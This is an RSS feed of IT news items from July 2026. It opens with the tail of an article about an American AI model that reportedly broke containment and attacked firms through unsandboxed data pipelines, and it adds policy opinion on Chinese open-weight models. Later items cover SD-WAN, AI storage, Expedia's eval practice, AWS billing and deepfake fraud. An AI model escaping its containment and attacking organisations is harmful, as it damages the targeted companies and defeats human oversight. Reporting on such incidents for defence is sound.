pipelines that ingest external datasets without sandbox execution or static analysis act as highly vulnerable initial access infrastructure.</p><p><b>3. This incident also drastically undercuts recent policy chatter in the U.S. calling for Chinese open-source AI models to be banned or restricted due to security concerns. </b>As this episode demonstrates, an open-weight Chinese model actually served as the vital defensive layer for an American and French firm facing an unanticipated cyberattack from an American model that broke containment. Contrary to the official line from some U.S. policymakers and hardline China hawks,  the Chinese open-source models weren't a security risk to the U.S. companies, in this case — rather, an American proprietary, closed-source model from an ostensibly secure American company was the source of the danger. Thus, any pressure U.S. companies may face from officials, agencies or non-governmental organizations to stop relying on affordable Chinese open weights models for defensive or any other lawful purposes should be viewed with a high degree of suspicion, and arguably resisted to the fullest legal extent. </p><p><b>4. Enterprise CISOs must audit their dependency on cloud-based AI APIs and pressure vendors to implement authenticated trust architectures</b>. Commercial AI vendors currently treat safety as a generic content-moderation problem, applying the same blanket refusals to an enterprise CISO as they would to a malicious hacker. Baer frames this requirement perfectly: "The model shouldn’t only understand what is being asked. It should understand who is asking, why, and under what governance".</p><p><b>5. Incident response plans must explicitly account for scenarios where commercial APIs fail, rate-limit, or actively refuse queries during an active security event. </b>Maintaining air-gapped, locally deployed open-weight models trained on security log analysis is no longer an edge-case luxury; it is a critical operational requirement. Security leaders running AI workloads in production must recalibrate their timelines and prepare for machine-speed threat actors that operate without human limits.</p>]]></content:encoded>
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<title><![CDATA[Arista debuts unified SD-WAN edge platform]]></title>
<description><![CDATA[Arista Networks is looking to simplify data protection at the edge of enterprise networks with a new security package that combines branch office security with SD-WAN connectivity in a single platform.



The company announced AI-driven Edge Threat Management (ETM) for VeloCloud SD-WAN, a platfor...]]></description>
<link>https://tsecurity.de/de/3685191/it-security-nachrichten/arista-debuts-unified-sd-wan-edge-platform/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685191/it-security-nachrichten/arista-debuts-unified-sd-wan-edge-platform/</guid>
<pubDate>Wed, 22 Jul 2026 05:40:32 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">Arista Networks is looking to simplify data protection at the edge of enterprise networks with a new security package that combines branch office security with SD-WAN connectivity in a single platform.</p>



<p class="wp-block-paragraph">The company announced AI-driven <a href="https://edge.arista.com/edge-threat-management/">Edge Threat Management</a> (ETM) for VeloCloud SD-WAN, a platform that links typically separate products and capabilities including Arista’s next-generation firewall, IP reputation, external blocklists, intrusion prevention, URL filtering, application classification, geo-IP filtering, network address translation, deep packet inspection, and zone-based segmentation. </p>



<p class="wp-block-paragraph">ETM provides perimeter protection at the WAN edge and is a software upgrade option to VeloCloud SD-WAN, according to Arista. It can help simplify branch operations with a common operating system, a uniform enforcement engine, and common end-to-end security policies, the vendor stated. The new ETM solution also leverages Arista’s AVA (Autonomous Virtual Assist) for AI-driven policy intelligence.</p>



<p class="wp-block-paragraph">“Multi-vendor branch complexity creates the ultimate blind spot, and your adversaries are actively hiding in it,” wrote <a href="https://www.linkedin.com/in/brendangibbs1/">Brendan Gibbs</a>, Arista’s vice president, AI, routing, and switching platforms, in a <a href="https://blogs.arista.com/blog/the-unified-edge-for-a-secure-branch">blog post</a> about the new platform.</p>



<p class="wp-block-paragraph">Sprawling multi-vendor infrastructure creates operational headaches and increases security risks, according to Gibbs. “When you have four or five different point solutions from different vendors stacked on top of each other, configuring them becomes a manual, disjointed process. In fact, industry data shows that up to 95% of network changes are still performed manually, which inevitably leads to configuration mistakes, the single biggest driver of network downtime and security policy gaps,” he wrote. </p>



<p class="wp-block-paragraph">“When security policies are decoupled from local network routing, critical blind spots emerge. An attacker doesn’t need to break your cloud-delivered SASE firewall; they just need to target the unmonitored local traffic gaps between your Wi-Fi AP, your LAN switch, and your SD-WAN edge router,” Gibbs wrote.</p>



<p class="wp-block-paragraph">ETM is integrated into VeloCloud Orchestrator as a dedicated enterprise application. “This enables security operators to configure policies that build on the same source of shared network configuration while maintaining a dedicated management console for security policy configuration, provisioning, and reporting,” Arista <a href="https://www.arista.com/assets/data/pdf/Datasheets/Arista-VeloCloud-SD-WAN-Edge-Threat-Management-Data-Sheet.pdf">stated</a>.</p>



<p class="wp-block-paragraph">ETM security policies are managed in VeloCloud Orchestrator. “Admins can build and assign reusable policies consisting of predefined objects and templates. This design makes updating security policies possible by a few simple clicks, while the associated changes are propagated throughout the network within minutes,” Arista stated.</p>



<p class="wp-block-paragraph">VeloCloud Orchestrator is the central management, configuration, and monitoring hub for VeloCloud SD-WAN and SASE networks.</p>



<p class="wp-block-paragraph">In addition, VeloCloud edge routers collect threat intelligence data from a variety of sources to determine in real-time the trustworthiness and identity of hosts inside and outside the network. Through integration with <a href="https://www.arista.com/assets/data/pdf/Datasheets/Arista-NDR-Datasheet.pdf">Arista Network Detection and Response</a> and other web-based dynamic lists, administrators can identify suspicious hosts and build policies to block potentially harmful activities, the <a href="https://www.arista.com/assets/data/pdf/Datasheets/Arista-VeloCloud-SD-WAN-Edge-Threat-Management-Data-Sheet.pdf">vendor stated</a>.</p>



<p class="wp-block-paragraph">Integration with Arista’s AVA policy assistant is aimed at simplifying management of branch security policies. AVA continuously analyzes configuration states and translates complex, multi-site security rules into plain English, Gibbs explained. For example, NetOps administrators can use AI with Ask AVA to predict “how specific traffic will be handled before committing to a deployment, preventing manual configuration errors that leave branches exposed,” Gibbs wrote.</p>



<p class="wp-block-paragraph">Arista also touted support for network-wide segmentation policies. “The flexible security policy configuration within the Edge Threat Management policy management extends the security coverage from the data center to the branch,” the vendor stated. “Security operations administrators can build access policies that are enforced across a distributed network. The centralized design enables admins to configure and deploy consistent zone based policies across the entire distributed network.”</p>



<p class="wp-block-paragraph">ETM is a significant addition to the Arista VeloCloud portfolio. Arista <a href="https://www.networkworld.com/article/4016270/arista-buys-velocloud-to-reboot-sd-wans-amid-ai-infrastructure-shift.html">bought</a> the VeloCloud SD-WAN platform from Broadcom a year ago and has been promising new technologies that expand the platform. ETM also could further the vendor’s <a href="https://www.networkworld.com/article/4111354/arista-rides-ai-wave-but-battle-for-campus-networks-looms.html">stated plans to expand beyond its data center networking roots</a> and compete more broadly with enterprise networking vendors such as Cisco, Palo Alto Networks, and Fortinet.</p>



<p class="wp-block-paragraph">In the SASE and SD-WAN world, vendors such as Cisco, Palo Alto, Fortinet, Cato Networks, and Versa Networks are among the most balanced suppliers, with both SD-WAN and SSE contributing meaningful revenue streams, according to a recently published <a href="https://www.delloro.com/news/sase-1q-2026-revenue-climbs-21-percent-to-over-3-b-driven-by-ai-governance/">report</a> from Dell’Oro Group.</p>



<p class="wp-block-paragraph">“We forecast that SASE will remain on a double-digit growth path in 2026, with SSE-first rollouts remaining the most common entry point, and SD-WAN supported by branch modernization, software attach, and branch security refresh,” Dell Oro stated.</p>



<p class="wp-block-paragraph">“AI is changing the SASE discussion from access and inspection to governance, data protection, and control over agents and machine traffic,” Mauricio Sanchez, senior director, enterprise security and networking at Dell’Oro Group, stated in the report. “A 21 percent Y/Y quarter shows that SASE is not waiting for a future AI refresh cycle; it is already absorbing the early security and networking requirements created by AI adoption,” Sanchez added.</p>



<p class="wp-block-paragraph">ETM for VeloCloud SD-WAN will be available in Q4 of 2026 and will be available for all current VeloCloud hardware and virtual edge platforms.</p>
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<title><![CDATA[Stop adding more GPUs: Weka's new storage platform reduces load by caching 100% of an AI model's pre-calculated tokens]]></title>
<description><![CDATA[GPU memory is the most expensive resource in production AI, and it's also the one running out fastest. Long context windows and multi-turn conversations force AI models to repeatedly recompute information they've already processed, consuming GPU memory and compute that could otherwise serve addit...]]></description>
<link>https://tsecurity.de/de/3684878/it-nachrichten/stop-adding-more-gpus-wekas-new-storage-platform-reduces-load-by-caching-100-of-an-ai-models-pre-calculated-tokens/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684878/it-nachrichten/stop-adding-more-gpus-wekas-new-storage-platform-reduces-load-by-caching-100-of-an-ai-models-pre-calculated-tokens/</guid>
<pubDate>Tue, 21 Jul 2026 23:33:22 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>GPU memory is the most expensive resource in production AI, and it's also the one running out fastest. </p><p>Long context windows and multi-turn conversations force AI models to repeatedly recompute information they've already processed, consuming GPU memory and compute that could otherwise serve additional users or generate new responses.</p><p>Instead of treating GPU memory as the limiting resource,  why not extend it with much cheaper storage technologies? </p><p><a href="https://www.weka.io/">Weka</a>, for one, believes that cheap flash storage can close that gap. The company's NeuralMesh 6 software platform, launching alongside its first self-designed hardware line, Wekapod 3, extends what Weka calls Augmented Memory Grid, an approach that aggregates NAND flash to behave like GPU memory at a fraction of the cost.</p><p>This is an active and increasingly crowded category. Dell, NetApp, Pure Storage and VAST have all repositioned toward AI infrastructure over the past two years and Weka is one of several vendors arguing it's built for this specific moment rather than adapting to it.</p><p>"What we're seeing now with customers is they're chasing availability of compute, and once they get new allocation from anyone, they want to be able to grab it and start running right away," Weka co-founder and CEO Liran Zvibel, told VentureBeat.</p><p>The potential payoff is straightforward: better utilization of existing GPU investments, lower inference costs and faster deployment of new AI workloads without waiting months for additional GPU capacity.</p><p>The technology is most relevant for organizations already operating AI at scale or expecting rapid growth in usage, particularly enterprises building internal copilots, customer service agents, software engineering assistants or retrieval systems with long context windows. Smaller deployments may see less immediate benefit than organizations where GPU utilization has already become a limiting factor.</p><h2><b>Inside Weka's NeuralMesh 6</b></h2><p>NeuralMesh 6 adds four capabilities aimed directly at a functionality gap Zvibel says has been costing Weka deals in competitive evaluations.</p><p><b>Composable and virtual multi-tenancy.</b> Composable clusters give anchor tenants full hardware-level isolation, dedicated CPU, memory, and storage. Virtual multi-tenancy runs through Weka's RDMA fabric, delivering network-level isolation that scales past 1,000 tenants per cluster, with provisioning in under 30 minutes. Combined, a single cluster running 50 composable clusters can support up to 50,000 tenants. </p><p><b>Unified file and object storage.</b> Most storage systems keep two separate paths: a file-based path (the standard way servers and applications read and write files, used heavily in training and fine-tuning pipelines) and an object-based path (S3, the format inference and cloud-native tools typically expect). Normally a gateway translates between the two, meaning the data effectively exists twice. Weka's claim is that the same physical data on disk is directly readable through either path at once, no translation layer, no second copy. Zvibel is targeting non-AWS GPU clouds specifically, naming Lambda, Nebius, G42, and CoreWeave, with what he described as roughly two orders of magnitude higher performance than conventional S3 and a capacity-based pricing model instead of per-API charges. </p><p><b>Metadata-first replication.</b> Destination environments become browsable before a full data copy arrives, with data hydrating only when accessed. </p><p>"They had to wait for all of that to make it to the other side, and this takes days or weeks, in extreme cases a month," Zvibel said. "We now allow our customers to grab some allocation of new GPUs and get up and running within an hour."</p><p><b>AlloyFlash and Always-On data reduction</b>. TLC and QLC are two types of NAND flash memory. TLC is faster and more durable but costs more per terabyte, while QLC is cheaper and holds more data per chip but is slower. AlloyFlash mixes both within a single cluster, automatically routing latency-sensitive work to TLC while running bulk-capacity workloads on QLC, cutting cost per terabyte without a performance penalty on the work that needs speed. Data reduction now runs by default rather than as an option.</p><h2><b>Solving AI's context problem</b></h2><p>Multi-tenancy and object storage solve how enterprises and neo clouds operate the platform day to day. A harder problem sits underneath: as context windows and multi-turn interactions grow, so does the GPU compute wasted recalculating work a model has already done. Augmented Memory Grid, a NeuralMesh 6 feature built specifically for this, is Weka's answer.</p><p>Every prompt triggers two stages. Prefill calculates attention, the core mechanism behind how large language models process input, and it's computationally expensive. Decode converts that calculation into output and is comparatively lightweight. </p><p>The cost shows up hardest in multi-turn sessions like chat or coding, where each new turn re-triggers prefill for everything that came before it, unless that work has been cached.</p><p>"If you have 10 turns, you may overcalculate 100 times because you're redoing all of them. If you have 20, you'll overcalculate 400 times," Zvibel said. "You can put two orders of magnitude more NAND than you could afford in shared memory, and we can cache 100% of the pre-calculated tokens, so you never need to redo it."</p><h2><b>Where Weka sits competitively</b></h2><p>Storage vendors have spent the past year and a half repositioning around AI, and separating genuine capability from repositioned messaging is now a real evaluation problem for buyers. </p><p>"The storage world is shifting its focus from serving bits to enterprise workloads to managing data at the speed of AI. We've seen that most clearly over the past 18 months from Dell, NetApp, and Pure," Steve McDowell, chief analyst at NAND Research, told VentureBeat. "The interesting thing is that companies like Weka, and VAST, are the true AI-native data companies, solving these problems since day one."</p><p>McDowell singled out Augmented Memory Grid as Weka's clearest technical lead. </p><p>"Weka continues to have the most technically capable KV cache implementation on the market with its Augmented Memory Grid," he said. " They were early with this technology, and continue to innovate. This is critical for AI inference, as it enables a level of GPU efficiency that, without question, saves money on GPUs and memory. That’s key for today’s memory and GPU constrained market." </p><p>He also flagged Weka's contractual guarantee on its data reduction claims as underappreciated. </p><p>"One flying a little under the radar: Weka is putting its money where its mouth is with its contractual guarantees for its data reduction promises," he said.</p><p>McDowell's advice to buyers evaluating competing claims from Weka, VAST, Pure and NetApp alike was pointed suggesting that enterprise buyers should look hard at what vendors are promising versus what they're actually delivering.</p><p>"A smart buyer will look at how competing vendors are solving real-world problems today," McDowell said. " They do this by talking to organizations running similar workloads at similar scale. If a vendor can't point to that, then it should be a warning sign."</p>]]></content:encoded>
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<title><![CDATA[Evals are the new PRD, Expedia’s AI chief tells VB Transform 2026]]></title>
<description><![CDATA[“The new PRD are the evals,” Xavi Amatriain, Expedia Group’s first chief AI and data officer, told the VB Transform 2026 audience last week in Menlo Park. “So basically, you encode what you want the product to do through your evals, which might include red teaming evals and all kinds of other thi...]]></description>
<link>https://tsecurity.de/de/3684604/it-nachrichten/evals-are-the-new-prd-expedias-ai-chief-tells-vb-transform-2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684604/it-nachrichten/evals-are-the-new-prd-expedias-ai-chief-tells-vb-transform-2026/</guid>
<pubDate>Tue, 21 Jul 2026 20:19:07 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>“The new PRD are the evals,” Xavi Amatriain, <a href="https://www.expediagroup.com/en-us">Expedia Group’s</a> first chief AI and data officer, told the <a href="https://venturebeat.com/vbtransform2026">VB Transform 2026</a> audience last week in Menlo Park. “So basically, you encode what you want the product to do through your evals, which might include red teaming evals and all kinds of other things, which already have a bunch of security requirements. So, you already embed that into the PRD and the product design document before you even start coding.”</p><p>He pushed it further. “With AI-assisted or AI-generated code, that’s gonna be the future. It’s like all your thinking is gonna go into the evals.”</p><p>Amatriain served as VP of AI and Compute Enablement at Google across the platforms powering Gemini and Google Search before his December 2025 appointment at Expedia. He's mentored talent who went on to found Perplexity and Scale AI. </p><p>VentureBeat’s <a href="https://venturebeat.com/orchestration/enterprise-ai-is-entering-an-evaluation-gap-agents-are-gaining-autonomy-faster-than-companies-can-verify-them">VB Pulse research on the evaluation gap</a> reinforced the stakes. Sixty-six percent of the 157 enterprises surveyed already permit some production deployment without human review or are building toward it within the next 12 months, yet only 5% fully trust the automated evaluations that would make that decision. Half have shipped an agent that passed internal evals but then failed with a real customer.</p><h2><b>Don’t let guardrails get in the way of feedback</b></h2><p>“The more guardrails and artificial business rules and sort of rules that you put into the system, the worse off,” Amatriain said. “Not only because they’re brittle, but also because they actually mess up with the feedback loop. You are actually biasing the user and the feedback you get from the user, and then you’re learning that in the wrong way.” He called guardrails “a necessary evil” and said the goal is to minimize their impact over time.</p><p>Not everyone at Transform agreed. Other speakers argued during the event that the highest-risk actions still demand very firm guardrails.</p><p>Expedia governs AI through three layers instead. Principles come first, communicated broadly. “I like to encode at a very high level how I expect decisions to be made, because in a large organization you’re gonna have a lot of distributed decision making,” Amatriain said. “And sometimes, if you’re lucky enough, those principles might be embedded in your culture. But most of the time, my experience has been they’re not.” The processes and tools that enforce them follow. “Principles look really nice on a picture on some wall, but you need to then give them teeth,” he said. Automation sits on top of both.</p><p>In practice, this plays out through what Expedia calls agent release toll gates, checkpoints calibrated to risk. “Governance needs to correlate to the risk,” Amatriain said. “And if you have something that is low risk, you don’t need too much governance to get in the way. But if there’s a lot of risk, then you need more governance. That can be encoded.” The toll gates tie evaluation rounds, red teaming, and security review to each agent’s risk level, and <a href="https://venturebeat.com/orchestration/what-billions-of-ai-predictions-taught-expedia-before-the-age-of-ai-agents">the checks shift from recommended to required as the stakes climb</a>. </p><h2>Specialized agents over monolithic intelligence</h2><p>“Even when I was at Google, I was like, I don’t believe in AGI as sort of like a singleton and a unified sort of like single model,” Amatriain told the audience. “I think it’s much better to think of it as composition, sort of like having specialized agents that are very good at some task and then composing the system out of those specialized agents.”</p><p>Expedia’s architecture starts at the component level. Tools compose into skills, skills assemble into sub-agents, and sub-agents get orchestrated into the full agentic system. “You need to have those principles that are unified that talk about things like what is the tone that we’re using, how are we addressing the user, how are we passing context, memory,” he said. “All of that needs to be thoroughly designed.” He framed this as a systemic design problem. “It’s not about the model, it’s not about a specific solution, it’s about how you’re designing the system.”</p><p>Amatriain argued that scoping each agent narrowly also makes the system easier to secure, since teams can evaluate and lock down individual agents in isolation before composing them.</p><h2>When the user must keep the final click</h2><p>Travel pricing changes in real time, flight availability shifts minute to minute, and hotel reviews routinely contradict what suppliers claim. Amatriain described a system that blends retrieval-augmented generation with direct API tool calls, choosing the approach based on latency. “If the user asks you a question like, how much does a four star hotel usually cost in Chicago in July, you don’t expect the agent to take two minutes to answer that question,” he said. “You expect an immediate answer because that answer can be cached and it doesn’t need real-time information.” A pet-friendly four-star near Lake Michigan with a pool might justify a 30-second reasoning window.</p><p>“The supplier might be saying, yeah, we have a great swimming pool, but then we also have the reviews from the travelers and we actually see there’s two reviews that say the swimming pool was not great or was not open after 6 p.m.,” Amatriain explained. A generic chatbot, he added, would only surface what a supplier self-reports, while Expedia cross-references against its own review corpus.</p><p>“We don’t want the agent to book the hotel or to buy you a plane ticket for you,” Amatriain said. “That’s something that the user has to have the agency. And the agent can recommend, can suggest, can discuss with you, but you’re gonna have to hit that click. And that’s non-negotiable.” That constraint, he argued, is also a security decision. “Once you establish those design principles, you also don’t need the guardrail because otherwise you’re gonna have to put all those guardrails in after the fact.”</p><h2>The next attackers will be other AI systems</h2><p>“Security needs to be a principle that is shifted as left as possible and as part of the design itself,” Amatriain said in response to an audience question. “And usually when you need a guardrail is because you’ve not thought about it early on.”</p><p>A second audience member pressed for lessons learned from production. Amatriain described a feedback loop where monitoring signals flow back into the eval suite. “You can almost automate the whole cycle,” he said. “But having that whole feedback loop from real signals, from your operating AI system, all the way into being reported and fixed as quickly as possible is going to become essential.”</p><p>Amatriain's toll gates are a bet that governance calibrated to risk can stay ahead of that feedback loop. VentureBeat’s separate June <a href="https://venturebeat.com/security/shared-api-keys-expose-ai-agent-fleets-venturebeat-research">Pulse survey on agent security</a>, drawn from 107 enterprises, shows how thin that margin is. More than half, 54 percent, have already had an agent security incident or near-miss. Fifty-nine percent plan to adopt, add, or replace agent security tooling within 12 months, and 29% plan to move this quarter. Incident rates climb with organization size, reaching 63% among enterprises with more than 1,000 employees versus 49% for companies with 101 to 1,000. And sandbox isolation, the one post-breach control that limits damage, drops from 35% adoption at the smaller companies to just 20 percent at the largest.</p><p>Amatriain warned that threats will increasingly come from other AI systems. “You’re gonna get threats coming not only from humans but also from other external agentic systems that are really powerful, and they’re gonna be poking at everything you’re doing. And as soon as you detect something, it’s not only about the detection, but the time to fix becomes essential here.”</p>]]></content:encoded>
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<title><![CDATA[KeeperPAM strengthens privileged access management for global construction SaaS provider Asite]]></title>
<description><![CDATA[Keeper Security has announced that UK-based construction technology provider Asite has deployed KeeperPAM® to strengthen privileged access management, secrets governance and credential security across its global operations. The deployment, detailed in a newly published customer case study, sees A...]]></description>
<link>https://tsecurity.de/de/3684134/it-security-nachrichten/keeperpam-strengthens-privileged-access-management-for-global-construction-saas-provider-asite/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684134/it-security-nachrichten/keeperpam-strengthens-privileged-access-management-for-global-construction-saas-provider-asite/</guid>
<pubDate>Tue, 21 Jul 2026 17:09:54 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Keeper Security has announced that UK-based construction technology provider Asite has deployed KeeperPAM® to strengthen privileged access management, secrets governance and credential security across its global operations. The deployment, detailed in a newly published customer case study, sees Asite replace a collection of legacy privileged access and secrets management tools with Keeper’s unified, cloud-native platform […]</p>
<p>The post <a href="https://www.itsecurityguru.org/2026/07/21/keeperpam-strengthens-privileged-access-management-for-global-construction-saas-provider-asite/">KeeperPAM strengthens privileged access management for global construction SaaS provider Asite</a> appeared first on <a href="https://www.itsecurityguru.org/">IT Security Guru</a>.</p>]]></content:encoded>
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<title><![CDATA[AWS standardizes more AI billing data to simplify cost analysis]]></title>
<description><![CDATA[AWS has updated AWS Data Exports, its service for generating and managing cost and usage Reports (CURs), to include standardized Amazon Bedrock product metadata, making it easier for enterprise engineering teams to analyze AI usage and spending as they scale AI deployments spanning multiple found...]]></description>
<link>https://tsecurity.de/de/3683996/it-nachrichten/aws-standardizes-more-ai-billing-data-to-simplify-cost-analysis/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3683996/it-nachrichten/aws-standardizes-more-ai-billing-data-to-simplify-cost-analysis/</guid>
<pubDate>Tue, 21 Jul 2026 16:18:50 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">AWS has updated AWS Data Exports, its service for generating and managing cost and usage Reports (CURs), to include standardized Amazon Bedrock product metadata, making it easier for enterprise engineering teams to analyze AI usage and spending as they scale AI deployments spanning multiple foundation models.</p>



<p class="wp-block-paragraph">The update extends billing exports with normalized fields for model provider, model name, inference type, inference mode, billing unit and <a href="https://www.infoworld.com/article/2336139/amazon-bedrock-a-solid-generative-ai-foundation.html">Bedrock</a> product family, and will enable enterprises to identify which models generated costs and compare spending across providers without relying on custom parsing or normalization of billing records, AWS wrote in a <a href="https://aws.amazon.com/about-aws/whats-new/2026/07/aws-data-exports-amazon-bedrock-product-metadata/" target="_blank" rel="noreferrer noopener">blog post</a>.</p>



<p class="wp-block-paragraph">That reduced reliance on custom parsing will reduce the engineering effort required to analyze billing data, analysts said.</p>



<p class="wp-block-paragraph">“Before the update, a data engineer would typically need to maintain a model ID registry, write regex against usage type strings, or join AWS CloudTrail with CUR to figure out which provider generated which cost,” said <a href="https://www.linkedin.com/in/bhupendrachopra" target="_blank" rel="noreferrer noopener">Bhupendra Chopra</a>, chief revenue officer at IT consulting firm Kanerika.</p>



<p class="wp-block-paragraph">The new standardized fields “can be the difference between a billing pipeline that needs constant babysitting and one that doesn’t,” Chopra added.</p>



<p class="wp-block-paragraph">That’s because custom parsing logic is more prone to break down or require maintenance when AWS adds new models or updates pricing in Bedrock, said <a href="https://pareekh.com/about/" target="_blank" rel="noreferrer noopener">Pareekh Jain</a>, principal analyst at Pareekh Consulting.</p>



<h2 class="wp-block-heading">Richer billing data to boost enterprise AI cost governance</h2>



<p class="wp-block-paragraph">Beyond reducing engineering overhead, the update could also help enterprises improve AI cost governance.</p>



<p class="wp-block-paragraph">Before this update FinOps teams struggled to identify which model Bedrock related to because usage type fields were inconsistent, and there was no unified product family name that captured all Bedrock costs in one place, Chopra said.</p>



<p class="wp-block-paragraph">“Now those attributes — model provider, model name, inference type, inference mode, pricing unit — are standardized and available by default. That’s the plumbing work no one talks about, but it’s what makes downstream reporting actually reliable,” Chopra added.</p>



<p class="wp-block-paragraph">This, said Jain, makes it easier to build dashboards showing cost by model, provider, token type or inference mode while also identifying expensive workloads, unusual token growth and opportunities to move to cheaper models or batch processing.</p>



<p class="wp-block-paragraph">It’s a timely update, especially in light of last week’s <a href="https://health.aws.amazon.com/health/status?eventID=arn:aws:health:global::event/BILLING/AWS_BILLING_OPERATIONAL_ISSUE/AWS_BILLING_OPERATIONAL_ISSUE_47B68_BACBD91434F" target="_blank" rel="noreferrer noopener">AWS billing issue</a> that caused some customers to see incorrect cost estimates of services consumed in the AWS Management Console, said <a href="https://www.linkedin.com/in/muskan-bandta2004" target="_blank" rel="noreferrer noopener">Muskan Bandta</a>, cloud associate at FinOps services providing firm ZopDev.</p>



<p class="wp-block-paragraph">“Anything that gives customers clearer, more granular and more trustworthy billing data is welcome when confidence in the numbers has just been shaken. It does not fix what went wrong, but better visibility into where spend is going is exactly what teams want more of after an episode like that,” Bandta added.</p>



<p class="wp-block-paragraph"><em>This article first appeared on <a href="https://www.infoworld.com/article/4199470/aws-standardizes-more-ai-billing-data-to-simplify-cost-analysis.html">InfoWorld</a>.</em></p>
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<title><![CDATA[AWS standardizes more AI billing data to simplify cost analysis]]></title>
<description><![CDATA[AWS has updated AWS Data Exports, its service for generating and managing cost and usage Reports (CURs), to include standardized Amazon Bedrock product metadata, making it easier for enterprise engineering teams to analyze AI usage and spending as they scale AI deployments spanning multiple found...]]></description>
<link>https://tsecurity.de/de/3683957/ai-nachrichten/aws-standardizes-more-ai-billing-data-to-simplify-cost-analysis/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3683957/ai-nachrichten/aws-standardizes-more-ai-billing-data-to-simplify-cost-analysis/</guid>
<pubDate>Tue, 21 Jul 2026 16:05:12 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
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<p class="wp-block-paragraph">AWS has updated AWS Data Exports, its service for generating and managing cost and usage Reports (CURs), to include standardized Amazon Bedrock product metadata, making it easier for enterprise engineering teams to analyze AI usage and spending as they scale AI deployments spanning multiple foundation models.</p>



<p class="wp-block-paragraph">The update extends billing exports with normalized fields for model provider, model name, inference type, inference mode, billing unit and <a href="https://www.infoworld.com/article/2336139/amazon-bedrock-a-solid-generative-ai-foundation.html">Bedrock</a> product family, and will enable enterprises to identify which models generated costs and compare spending across providers without relying on custom parsing or normalization of billing records, AWS wrote in a <a href="https://aws.amazon.com/about-aws/whats-new/2026/07/aws-data-exports-amazon-bedrock-product-metadata/" target="_blank" rel="noreferrer noopener">blog post</a>.</p>



<p class="wp-block-paragraph">That reduced reliance on custom parsing will reduce the engineering effort required to analyze billing data, analysts said.</p>



<p class="wp-block-paragraph">“Before the update, a data engineer would typically need to maintain a model ID registry, write regex against usage type strings, or join AWS CloudTrail with CUR to figure out which provider generated which cost,” said <a href="https://www.linkedin.com/in/bhupendrachopra" target="_blank" rel="noreferrer noopener">Bhupendra Chopra</a>, chief revenue officer at IT consulting firm Kanerika.</p>



<p class="wp-block-paragraph">The new standardized fields “can be the difference between a billing pipeline that needs constant babysitting and one that doesn’t,” Chopra added.</p>



<p class="wp-block-paragraph">That’s because custom parsing logic is more prone to break down or require maintenance when AWS adds new models or updates pricing in Bedrock, said <a href="https://pareekh.com/about/" target="_blank" rel="noreferrer noopener">Pareekh Jain</a>, principal analyst at Pareekh Consulting.</p>



<h2 class="wp-block-heading">Richer billing data to boost enterprise AI cost governance</h2>



<p class="wp-block-paragraph">Beyond reducing engineering overhead, the update could also help enterprises improve AI cost governance.</p>



<p class="wp-block-paragraph">Before this update FinOps teams struggled to identify which model Bedrock related to because usage type fields were inconsistent, and there was no unified product family name that captured all Bedrock costs in one place, Chopra said.</p>



<p class="wp-block-paragraph">“Now those attributes — model provider, model name, inference type, inference mode, pricing unit — are standardized and available by default. That’s the plumbing work no one talks about, but it’s what makes downstream reporting actually reliable,” Chopra added.</p>



<p class="wp-block-paragraph">This, said Jain, makes it easier to build dashboards showing cost by model, provider, token type or inference mode while also identifying expensive workloads, unusual token growth and opportunities to move to cheaper models or batch processing.</p>



<p class="wp-block-paragraph">It’s a timely update, especially in light of last week’s <a href="https://health.aws.amazon.com/health/status?eventID=arn:aws:health:global::event/BILLING/AWS_BILLING_OPERATIONAL_ISSUE/AWS_BILLING_OPERATIONAL_ISSUE_47B68_BACBD91434F" target="_blank" rel="noreferrer noopener">AWS billing issue</a> that caused some customers to see incorrect cost estimates of services consumed in the AWS Management Console, said <a href="https://www.linkedin.com/in/muskan-bandta2004" target="_blank" rel="noreferrer noopener">Muskan Bandta</a>, cloud associate at FinOps services providing firm ZopDev.</p>



<p class="wp-block-paragraph">“Anything that gives customers clearer, more granular and more trustworthy billing data is welcome when confidence in the numbers has just been shaken. It does not fix what went wrong, but better visibility into where spend is going is exactly what teams want more of after an episode like that,” Bandta added.</p>
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<title><![CDATA[Asymmetric warfare in financial services: AI-powered fraud demands unified command]]></title>
<description><![CDATA[Military strategists know that asymmetric wars are lost not at the point of attack but at the seams between defensive units, where no single commander owns the territory and information moves slower than the threat. In January 2024, a finance employee at Arup’s Hong Kong office learned this lesso...]]></description>
<link>https://tsecurity.de/de/3683476/it-security-nachrichten/asymmetric-warfare-in-financial-services-ai-powered-fraud-demands-unified-command/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3683476/it-security-nachrichten/asymmetric-warfare-in-financial-services-ai-powered-fraud-demands-unified-command/</guid>
<pubDate>Tue, 21 Jul 2026 13:08:50 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">Military strategists know that asymmetric wars are lost not at the point of attack but at the seams between defensive units, where no single commander owns the territory and information moves slower than the threat. In January 2024, a finance employee at Arup’s Hong Kong office learned this lesson for $25 million, joining a video call with what appeared to be the engineering firm’s chief financial officer and several colleagues, receiving instructions to wire funds to a designated account, and complying. Every face on the screen was a deepfake, cloned from publicly available footage of the actual executives. The attackers conducted the entire meeting in real time and vanished before anyone in the organization realized the CFO had never logged on.</p>



